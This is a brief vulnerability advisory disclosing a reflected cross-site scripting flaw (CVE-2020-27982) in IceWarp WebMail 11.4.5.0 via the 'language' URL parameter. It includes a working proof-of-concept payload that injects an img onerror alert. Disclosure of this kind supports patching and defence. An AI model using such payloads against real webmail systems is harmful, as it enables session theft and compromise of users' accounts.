Icewarp WebMail version 11.4.5.0 suffers from a cross site scripting vulnerability.
90afc47a914b4ec45f2b380bd65e99dd[+] Title: IceWarp WebMail Cross-Site Scripting Vulnerability
[+] Date: 2020/10/25
[+] Author: Harun Karakış
[+] Vendor Homepage: www.icewarp.com
[+] Tested on: Windows 10
[+] Versions: 11.4.5.0
[+] Vulnerable Parameter: "language" (Get Method)
[+] Vulnerable File: /webmail/
[+] Cve:CVE-2020-27982
# PoC:
[+] Go to : http://localhost/webmail/
or
[+] Add the "language" parameter to the URL and write malicious code, Example: http://localhost/webmail/?language="><img src=x onerror=alert(1)>
[+] When the user goes to the URL, the malicious code is executed
Example Vulnerable URL: http://localhost/webmail/?language="><img src=x onerror=alert(1)> (Payload: "><img src=x onerror=alert(1)>)
example picture
https://i.hizliresim.com/FBcSbW.png